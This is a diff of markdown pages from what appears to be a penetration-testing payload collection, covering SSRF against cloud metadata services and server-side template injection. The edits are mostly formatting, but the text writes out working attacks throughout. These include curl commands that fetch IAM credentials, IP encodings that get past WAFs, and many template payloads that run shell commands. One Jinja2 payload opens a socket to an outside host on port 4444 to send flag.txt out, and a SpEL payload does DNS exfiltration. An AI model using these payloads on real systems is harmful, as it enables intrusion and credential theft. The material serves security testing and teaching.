- [Pong [EN] | FCSC 2024 - Arthur Deloffre (@Vozec1) - April 12, 2024](https://vozec.fr/writeups/pong-fcsc2024-en/) * [Pong [EN] | FCSC 2024 - Arthur Deloffre (@Vozec1) - April 12, 2024](https://vozec.fr/writeups/pong-fcsc2024-en/)
- [Pong [EN] | FCSC 2024 - Kévin - Mizu (@kevin_mizu) - April 13, 2024](https://mizu.re/post/pong) * [Pong [EN] | FCSC 2024 - Kévin - Mizu (@kevin_mizu) - April 13, 2024](https://mizu.re/post/pong)

View File

@@ -3,9 +3,9 @@
> When exploiting Server-Side Request Forgery (SSRF) in cloud environments, attackers often target metadata endpoints to retrieve sensitive instance information (e.g., credentials, configurations). Below is a categorized list of common URLs for various cloud and infrastructure providers > When exploiting Server-Side Request Forgery (SSRF) in cloud environments, attackers often target metadata endpoints to retrieve sensitive instance information (e.g., credentials, configurations). Below is a categorized list of common URLs for various cloud and infrastructure providers
## Summary ## Summary
* [SSRF URL for AWS Bucket](#ssrf-url-for-aws-bucket) * [SSRF URL for AWS Bucket](#ssrf-url-for-aws)
* [SSRF URL for AWS ECS](#ssrf-url-for-aws-ecs) * [SSRF URL for AWS ECS](#ssrf-url-for-aws-ecs)
* [SSRF URL for AWS Elastic Beanstalk](#ssrf-url-for-aws-elastic-beanstalk) * [SSRF URL for AWS Elastic Beanstalk](#ssrf-url-for-aws-elastic-beanstalk)
* [SSRF URL for AWS Lambda](#ssrf-url-for-aws-lambda) * [SSRF URL for AWS Lambda](#ssrf-url-for-aws-lambda)
@@ -23,24 +23,24 @@
* [SSRF URL for Rancher](#ssrf-url-for-rancher) * [SSRF URL for Rancher](#ssrf-url-for-rancher)
* [References](#references) * [References](#references)
## SSRF URL for AWS ## SSRF URL for AWS
The AWS Instance Metadata Service is a service available within Amazon EC2 instances that allows those instances to access metadata about themselves. - [Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories) The AWS Instance Metadata Service is a service available within Amazon EC2 instances that allows those instances to access metadata about themselves. - [Docs](http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories)
* IPv4 endpoint (old): `http://169.254.169.254/latest/meta-data/` * IPv4 endpoint (old): `http://169.254.169.254/latest/meta-data/`
* IPv4 endpoint (new) requires the header `X-aws-ec2-metadata-token` * IPv4 endpoint (new) requires the header `X-aws-ec2-metadata-token`
```powershell ```powershell
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"` export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data" curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"
``` ```
* IPv6 endpoint: `http://[fd00:ec2::254]/latest/meta-data/` * IPv6 endpoint: `http://[fd00:ec2::254]/latest/meta-data/`
In case of a WAF, you might want to try different ways to connect to the API. In case of a WAF, you might want to try different ways to connect to the API.
* DNS record pointing to the AWS API IP * DNS record pointing to the AWS API IP
```powershell ```powershell
http://instance-data http://instance-data
http://169.254.169.254 http://169.254.169.254
@@ -48,12 +48,14 @@ In case of a WAF, you might want to try different ways to connect to the API.
``` ```
* HTTP redirect * HTTP redirect
```powershell ```powershell
Static:http://nicob.net/redir6a Static:http://nicob.net/redir6a
Dynamic:http://nicob.net/redir-http-169.254.169.254:80- Dynamic:http://nicob.net/redir-http-169.254.169.254:80-
``` ```
* Encoding the IP to bypass WAF * Encoding the IP to bypass WAF
```powershell ```powershell
http://425.510.425.510 Dotted decimal with overflow http://425.510.425.510 Dotted decimal with overflow
http://2852039166 Dotless decimal http://2852039166 Dotless decimal
@@ -70,7 +72,6 @@ In case of a WAF, you might want to try different ways to connect to the API.
http://[fd00:ec2::254] IPV6 http://[fd00:ec2::254] IPV6
``` ```
These URLs return a list of IAM roles associated with the instance. You can then append the role name to this URL to retrieve the security credentials for the role. These URLs return a list of IAM roles associated with the instance. You can then append the role name to this URL to retrieve the security credentials for the role.
```powershell ```powershell
@@ -97,12 +98,11 @@ http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/dynamic/instance-identity/document http://169.254.169.254/latest/dynamic/instance-identity/document
``` ```
**Examples**: **Examples**:
* Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance` * Jira SSRF leading to AWS info disclosure - `https://help.redacted.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/metadata/v1/maintenance`
* *Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/` * *Flaws challenge - `http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/`
## SSRF URL for AWS ECS ## SSRF URL for AWS ECS
If you have an SSRF with file system access on an ECS instance, try extracting `/proc/self/environ` to get UUID. If you have an SSRF with file system access on an ECS instance, try extracting `/proc/self/environ` to get UUID.
@@ -113,7 +113,6 @@ curl http://169.254.170.2/v2/credentials/<UUID>
This way you'll extract IAM keys of the attached role This way you'll extract IAM keys of the attached role
## SSRF URL for AWS Elastic Beanstalk ## SSRF URL for AWS Elastic Beanstalk
We retrieve the `accountId` and `region` from the API. We retrieve the `accountId` and `region` from the API.
@@ -131,7 +130,6 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`. Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
## SSRF URL for AWS Lambda ## SSRF URL for AWS Lambda
AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment. AWS Lambda provides an HTTP API for custom runtimes to receive invocation events from Lambda and send response data back within the Lambda execution environment.
@@ -141,7 +139,7 @@ http://localhost:9001/2018-06-01/runtime/invocation/next
http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next
``` ```
Docs: https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next Docs: <https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html#runtimes-api-next>
## SSRF URL for Google Cloud ## SSRF URL for Google Cloud
@@ -179,9 +177,9 @@ gopher://metadata.google.internal:80/xGET%20/computeMetadata/v1/instance/attribu
Interesting files to pull out: Interesting files to pull out:
- SSH Public Key : `http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json` * SSH Public Key : `http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json`
- Get Access Token : `http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token` * Get Access Token : `http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token`
- Kubernetes Key : `http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json` * Kubernetes Key : `http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json`
### Add an SSH key ### Add an SSH key
@@ -318,8 +316,8 @@ bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json
More info: More info:
- Daemon socket option: https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option * Daemon socket option: <https://docs.docker.com/engine/reference/commandline/dockerd/#daemon-socket-option>
- Docker Engine API: https://docs.docker.com/engine/api/latest/ * Docker Engine API: <https://docs.docker.com/engine/api/latest/>
## SSRF URL for Rancher ## SSRF URL for Rancher
@@ -327,10 +325,9 @@ More info:
curl http://rancher-metadata/<version>/<path> curl http://rancher-metadata/<version>/<path>
``` ```
More info: https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/ More info: <https://rancher.com/docs/rancher/v1.6/en/rancher-services/metadata-service/>
## References ## References
- [Extracting AWS metadata via SSRF in Google Acquisition - tghawkins - December 13, 2017](https://web.archive.org/web/20180210093624/https://hawkinsecurity.com/2017/12/13/extracting-aws-metadata-via-ssrf-in-google-acquisition/) * [Extracting AWS metadata via SSRF in Google Acquisition - tghawkins - December 13, 2017](https://web.archive.org/web/20180210093624/https://hawkinsecurity.com/2017/12/13/extracting-aws-metadata-via-ssrf-in-google-acquisition/)
- [Exploiting SSRF in AWS Elastic Beanstalk - Sunil Yadav - February 1, 2019](https://notsosecure.com/exploiting-ssrf-aws-elastic-beanstalk) * [Exploiting SSRF in AWS Elastic Beanstalk - Sunil Yadav - February 1, 2019](https://notsosecure.com/exploiting-ssrf-aws-elastic-beanstalk)

View File

@@ -1,7 +1,6 @@
# Server Side Template Injection - ASP.NET # Server Side Template Injection - ASP.NET
> Server-Side Template Injection (SSTI) is a class of vulnerabilities where an attacker can inject malicious input into a server-side template, causing the template engine to execute arbitrary code on the server. In the context of ASP.NET, SSTI can occur if user input is directly embedded into a template (such as Razor, ASPX, or other templating engines) without proper sanitization. > Server-Side Template Injection (SSTI) is a class of vulnerabilities where an attacker can inject malicious input into a server-side template, causing the template engine to execute arbitrary code on the server. In the context of ASP.NET, SSTI can occur if user input is directly embedded into a template (such as Razor, ASPX, or other templating engines) without proper sanitization.
## Summary ## Summary
@@ -10,14 +9,12 @@
- [ASP.NET Razor - Command Execution](#aspnet-razor---command-execution) - [ASP.NET Razor - Command Execution](#aspnet-razor---command-execution)
- [References](#references) - [References](#references)
## ASP.NET Razor ## ASP.NET Razor
[Official website](https://docs.microsoft.com/en-us/aspnet/web-pages/overview/getting-started/introducing-razor-syntax-c) [Official website](https://docs.microsoft.com/en-us/aspnet/web-pages/overview/getting-started/introducing-razor-syntax-c)
> Razor is a markup syntax that lets you embed server-based code (Visual Basic and C#) into web pages. > Razor is a markup syntax that lets you embed server-based code (Visual Basic and C#) into web pages.
### ASP.NET Razor - Basic Injection ### ASP.NET Razor - Basic Injection
```powershell ```powershell
@@ -32,7 +29,6 @@
} }
``` ```
## References ## References
- [Server-Side Template Injection (SSTI) in ASP.NET Razor - Clément Notin - April 15, 2020](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/) - [Server-Side Template Injection (SSTI) in ASP.NET Razor - Clément Notin - April 15, 2020](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/)

View File

@@ -2,7 +2,6 @@
> Server-Side Template Injection (SSTI) is a security vulnerability that occurs when user input is embedded into server-side templates in an unsafe manner, allowing attackers to inject and execute arbitrary code. In Java, SSTI can be particularly dangerous due to the power and flexibility of Java-based templating engines such as JSP (JavaServer Pages), Thymeleaf, and FreeMarker. > Server-Side Template Injection (SSTI) is a security vulnerability that occurs when user input is embedded into server-side templates in an unsafe manner, allowing attackers to inject and execute arbitrary code. In Java, SSTI can be particularly dangerous due to the power and flexibility of Java-based templating engines such as JSP (JavaServer Pages), Thymeleaf, and FreeMarker.
## Summary ## Summary
- [Templating Libraries](#templating-libraries) - [Templating Libraries](#templating-libraries)
@@ -36,7 +35,6 @@
- [SpEL - Command Execution](#spel---command-execution) - [SpEL - Command Execution](#spel---command-execution)
- [References](#references) - [References](#references)
## Templating Libraries ## Templating Libraries
| Template Name | Payload Format | | Template Name | Payload Format |
@@ -50,7 +48,6 @@
| Thymeleaf | `[[ ]]` | | Thymeleaf | `[[ ]]` |
| Velocity | `#set($X="") $X` | | Velocity | `#set($X="") $X` |
## Java ## Java
### Java - Basic Injection ### Java - Basic Injection
@@ -84,7 +81,7 @@ ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().ex
## Freemarker ## Freemarker
[Official website](https://freemarker.apache.org/) [Official website](https://freemarker.apache.org/)
> Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data. > Apache FreeMarker™ is a template engine: a Java library to generate text output (HTML web pages, e-mails, configuration files, source code, etc.) based on templates and changing data.
You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org) You can try your payloads at [https://try.freemarker.apache.org](https://try.freemarker.apache.org)
@@ -92,9 +89,9 @@ You can try your payloads at [https://try.freemarker.apache.org](https://try.fre
The template can be : The template can be :
* Default: `${3*3}` - Default: `${3*3}`
* Legacy: `#{3*3}` - Legacy: `#{3*3}`
* Alternative: `[=3*3]` since [FreeMarker 2.3.4](https://freemarker.apache.org/docs/dgui_misc_alternativesyntax.html) - Alternative: `[=3*3]` since [FreeMarker 2.3.4](https://freemarker.apache.org/docs/dgui_misc_alternativesyntax.html)
### Freemarker - Read File ### Freemarker - Read File
@@ -130,7 +127,7 @@ ${dwf.newInstance(ec,null)("id")}
## Codepen ## Codepen
[Official website](https://codepen.io/) [Official website](https://codepen.io/)
> >
```python ```python
- var x = root.process - var x = root.process
@@ -235,7 +232,7 @@ $str.valueOf($chr.toChars($out.read()))
### Groovy - Basic injection ### Groovy - Basic injection
Refer to https://groovy-lang.org/syntax.html , but `${9*9}` is the basic injection. Refer to [groovy-lang.org/syntax](https://groovy-lang.org/syntax.html) , but `${9*9}` is the basic injection.
### Groovy - Read File ### Groovy - Read File
@@ -289,7 +286,6 @@ ${7*7}
${'patt'.toString().replace('a', 'x')} ${'patt'.toString().replace('a', 'x')}
``` ```
### SpEL - DNS Exfiltration ### SpEL - DNS Exfiltration
DNS lookup DNS lookup
@@ -298,7 +294,6 @@ DNS lookup
${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")} ${"".getClass().forName("java.net.InetAddress").getMethod("getByName","".getClass()).invoke("","xxxxxxxxxxxxxx.burpcollaborator.net")}
``` ```
### SpEL - Session Attributes ### SpEL - Session Attributes
Modify session attributes Modify session attributes
@@ -307,32 +302,36 @@ Modify session attributes
${pageContext.request.getSession().setAttribute("admin",true)} ${pageContext.request.getSession().setAttribute("admin",true)}
``` ```
### SpEL - Command Execution ### SpEL - Command Execution
* Method using `java.lang.Runtime` #1 - accessed with JavaClass - Method using `java.lang.Runtime` #1 - accessed with JavaClass
```java ```java
${T(java.lang.Runtime).getRuntime().exec("COMMAND_HERE")} ${T(java.lang.Runtime).getRuntime().exec("COMMAND_HERE")}
``` ```
* Method using `java.lang.Runtime` #2 - Method using `java.lang.Runtime` #2
```java ```java
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])} #{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)} #{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")} #{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
``` ```
* Method using `java.lang.Runtime` #3 - accessed with `invoke` - Method using `java.lang.Runtime` #3 - accessed with `invoke`
```java ```java
${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('COMMAND_HERE')} ${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('COMMAND_HERE')}
``` ```
* Method using `java.lang.Runtime` #3 - accessed with `javax.script.ScriptEngineManager` - Method using `java.lang.Runtime` #3 - accessed with `javax.script.ScriptEngineManager`
```java ```java
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))} ${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
``` ```
* Method using `java.lang.ProcessBuilder` - Method using `java.lang.ProcessBuilder`
```java ```java
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())} ${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")} ${request.getAttribute("c").add("cmd.exe")}
@@ -342,7 +341,6 @@ ${pageContext.request.getSession().setAttribute("admin",true)}
${request.getAttribute("a")} ${request.getAttribute("a")}
``` ```
## References ## References
- [Server Side Template Injection on the example of Pebble - Michał Bentkowski - September 17, 2019](https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/) - [Server Side Template Injection on the example of Pebble - Michał Bentkowski - September 17, 2019](https://research.securitum.com/server-side-template-injection-on-the-example-of-pebble/)
@@ -356,4 +354,4 @@ ${pageContext.request.getSession().setAttribute("admin",true)}
- [Expression Language injection - PortSwigger - January 27, 2019](https://portswigger.net/kb/issues/00100f20_expression-language-injection) - [Expression Language injection - PortSwigger - January 27, 2019](https://portswigger.net/kb/issues/00100f20_expression-language-injection)
- [Leveraging the Spring Expression Language (SpEL) injection vulnerability (a.k.a The Magic SpEL) to get RCE - Xenofon Vassilakopoulos - November 18, 2021](https://xen0vas.github.io/Leveraging-the-SpEL-Injection-Vulnerability-to-get-RCE/) - [Leveraging the Spring Expression Language (SpEL) injection vulnerability (a.k.a The Magic SpEL) to get RCE - Xenofon Vassilakopoulos - November 18, 2021](https://xen0vas.github.io/Leveraging-the-SpEL-Injection-Vulnerability-to-get-RCE/)
- [RCE in Hubspot with EL injection in HubL - @fyoorer - December 7, 2018](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) - [RCE in Hubspot with EL injection in HubL - @fyoorer - December 7, 2018](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html)
- [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - January 29, 2019](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf) - [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - January 29, 2019](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)

View File

@@ -2,19 +2,17 @@
> Server-Side Template Injection (SSTI) occurs when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In the context of JavaScript, SSTI vulnerabilities can arise when using server-side templating engines like Handlebars, EJS, or Pug, where user input is integrated into templates without adequate sanitization. > Server-Side Template Injection (SSTI) occurs when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In the context of JavaScript, SSTI vulnerabilities can arise when using server-side templating engines like Handlebars, EJS, or Pug, where user input is integrated into templates without adequate sanitization.
## Summary ## Summary
- [Templating Libraries](#templating-libraries) - [Templating Libraries](#templating-libraries)
- [Handlebars](#handlebars) - [Handlebars](#handlebars)
- [Handlebars - Basic Injection](#handlebars---basic-injection) - [Handlebars - Basic Injection](#handlebars---basic-injection)
- [Handlebars - Command Execution](#handlebars---command-execution) - [Handlebars - Command Execution](#handlebars---command-execution)
- [Lodash](#Lodash) - [Lodash](#lodash)
- [Lodash - Basic Injection](#lodash---basic-injection) - [Lodash - Basic Injection](#lodash---basic-injection)
- [Lodash - Command Execution](#lodash---command-execution) - [Lodash - Command Execution](#lodash---command-execution)
- [References](#references) - [References](#references)
## Templating Libraries ## Templating Libraries
| Template Name | Payload Format | | Template Name | Payload Format |
@@ -33,7 +31,6 @@
| VelocityJS | `#=set($X="")$X` | | VelocityJS | `#=set($X="")$X` |
| VueJS | `{{ }}` | | VueJS | `{{ }}` |
## Handlebars ## Handlebars
[Official website](https://handlebarsjs.com/) [Official website](https://handlebarsjs.com/)
@@ -50,9 +47,9 @@
This payload only work in handlebars versions, fixed in [GHSA-q42p-pg8m-cqh6](https://github.com/advisories/GHSA-q42p-pg8m-cqh6): This payload only work in handlebars versions, fixed in [GHSA-q42p-pg8m-cqh6](https://github.com/advisories/GHSA-q42p-pg8m-cqh6):
* `>= 4.1.0`, `< 4.1.2` - `>= 4.1.0`, `< 4.1.2`
* `>= 4.0.0`, `< 4.0.14` - `>= 4.0.0`, `< 4.0.14`
* `< 3.0.7` - `< 3.0.7`
```handlebars ```handlebars
{{#with "s" as |string|}} {{#with "s" as |string|}}
@@ -123,8 +120,7 @@ ${= _.VERSION}
{{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}} {{x=Object}}{{w=a=new x}}{{w.type="pipe"}}{{w.readable=1}}{{w.writable=1}}{{a.file="/bin/sh"}}{{a.args=["/bin/sh","-c","id;ls"]}}{{a.stdio=[w,w]}}{{process.binding("spawn_sync").spawn(a).output}}
``` ```
## References ## References
- [Exploiting Less.js to Achieve RCE - Jeremy Buis - July 1, 2021](https://web.archive.org/web/20210706135910/https://www.softwaresecured.com/exploiting-less-js/) - [Exploiting Less.js to Achieve RCE - Jeremy Buis - July 1, 2021](https://web.archive.org/web/20210706135910/https://www.softwaresecured.com/exploiting-less-js/)
- [Handlebars template injection and RCE in a Shopify app - Mahmoud Gamal - April 4, 2019](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) - [Handlebars template injection and RCE in a Shopify app - Mahmoud Gamal - April 4, 2019](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)

View File

@@ -2,7 +2,6 @@
> Server-Side Template Injection (SSTI) is a vulnerability that occurs when an attacker can inject malicious input into a server-side template, causing the template engine to execute arbitrary commands on the server. In PHP, SSTI can arise when user input is embedded within templates rendered by templating engines like Smarty, Twig, or even within plain PHP templates, without proper sanitization or validation. > Server-Side Template Injection (SSTI) is a vulnerability that occurs when an attacker can inject malicious input into a server-side template, causing the template engine to execute arbitrary commands on the server. In PHP, SSTI can arise when user input is embedded within templates rendered by templating engines like Smarty, Twig, or even within plain PHP templates, without proper sanitization or validation.
## Summary ## Summary
- [Templating Libraries](#templating-libraries) - [Templating Libraries](#templating-libraries)
@@ -20,7 +19,6 @@
- [Plates](#plates) - [Plates](#plates)
- [References](#references) - [References](#references)
## Templating Libraries ## Templating Libraries
| Template Name | Payload Format | | Template Name | Payload Format |
@@ -32,7 +30,6 @@
| Smarty | `{ }` | | Smarty | `{ }` |
| Twig | `{{ }}` | | Twig | `{{ }}` |
## Smarty ## Smarty
[Official website](https://www.smarty.net/docs/en/) [Official website](https://www.smarty.net/docs/en/)
@@ -132,7 +129,6 @@ email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
--- ---
## patTemplate ## patTemplate
> [patTemplate](https://github.com/wernerwa/pat-template) non-compiling PHP templating engine, that uses XML tags to divide a document into different parts > [patTemplate](https://github.com/wernerwa/pat-template) non-compiling PHP templating engine, that uses XML tags to divide a document into different parts
@@ -251,7 +247,6 @@ layout template:
</html> </html>
``` ```
## References ## References
* [Server Side Template Injection (SSTI) via Twig escape handler - March 21, 2024](https://github.com/getgrav/grav/security/advisories/GHSA-2m7x-c7px-hp58) - [Server Side Template Injection (SSTI) via Twig escape handler - March 21, 2024](https://github.com/getgrav/grav/security/advisories/GHSA-2m7x-c7px-hp58)

View File

@@ -133,7 +133,7 @@ If the Debug Extension is enabled, a `{% debug %}` tag will be available to dump
<pre>{% debug %}</pre> <pre>{% debug %}</pre>
``` ```
Source: <https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement> Source: [jinja.palletsprojects.com](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
### Jinja2 - Dump All Used Classes ### Jinja2 - Dump All Used Classes
@@ -212,7 +212,7 @@ But when `__builtins__` is filtered, the following payloads are context-free, an
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}
``` ```
We can use these shorter payloads: We can use these shorter payloads from [@podalirius_](https://twitter.com/podalirius_): [python-vulnerabilities-code-execution-in-jinja-templates](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/):
```python ```python
{{ cycler.__init__.__globals__.os.popen('id').read() }} {{ cycler.__init__.__globals__.os.popen('id').read() }}
@@ -220,16 +220,12 @@ We can use these shorter payloads:
{{ namespace.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }}
``` ```
Source [@podalirius_](https://twitter.com/podalirius_) : <https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/>
With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template: With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template:
```python ```python
{{ lipsum.__globals__["os"].popen('id').read() }} {{ lipsum.__globals__["os"].popen('id').read() }}
``` ```
Source: <https://twitter.com/podalirius_/status/1655970628648697860>
#### Exploit The SSTI By Calling subprocess.Popen #### Exploit The SSTI By Calling subprocess.Popen
:warning: the number 396 will vary depending of the application. :warning: the number 396 will vary depending of the application.
@@ -245,8 +241,7 @@ Source: <https://twitter.com/podalirius_/status/1655970628648697860>
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
``` ```
Simply modification of payload to clean up output and facilitate command input (<https://twitter.com/SecGus/status/1198976764351066113>) Simple modification of the payload to clean up output and facilitate command input from [@SecGus](https://twitter.com/SecGus/status/1198976764351066113). In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls)
In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls)
```python ```python
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
@@ -298,7 +293,7 @@ Bypassing `|join`
http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_
``` ```
Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by <https://twitter.com/SecGus>: Bypassing most common filters ('.','_','|join','[',']','mro' and 'base') by [@SecGus](https://twitter.com/SecGus):
```python ```python
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}} {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

View File

@@ -2,7 +2,6 @@
> Template injection allows an attacker to include template code into an existing (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages > Template injection allows an attacker to include template code into an existing (or not) template. A template engine makes designing HTML pages easier by using static template files which at runtime replaces variables/placeholders with actual values in the HTML pages
## Summary ## Summary
- [Tools](#tools) - [Tools](#tools)
@@ -14,49 +13,49 @@
- [Labs](#labs) - [Labs](#labs)
- [References](#references) - [References](#references)
## Tools ## Tools
* [Hackmanit/TInjA](https://github.com/Hackmanit/TInjA) - An effiecient SSTI + CSTI scanner which utilizes novel polyglots - [Hackmanit/TInjA](https://github.com/Hackmanit/TInjA) - An efficient SSTI + CSTI scanner which utilizes novel polyglots
```bash ```bash
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..." tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
``` ```
* [epinna/tplmap](https://github.com/epinna/tplmap) - Server-Side Template Injection and Code Injection Detection and Exploitation Tool - [epinna/tplmap](https://github.com/epinna/tplmap) - Server-Side Template Injection and Code Injection Detection and Exploitation Tool
```powershell ```powershell
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
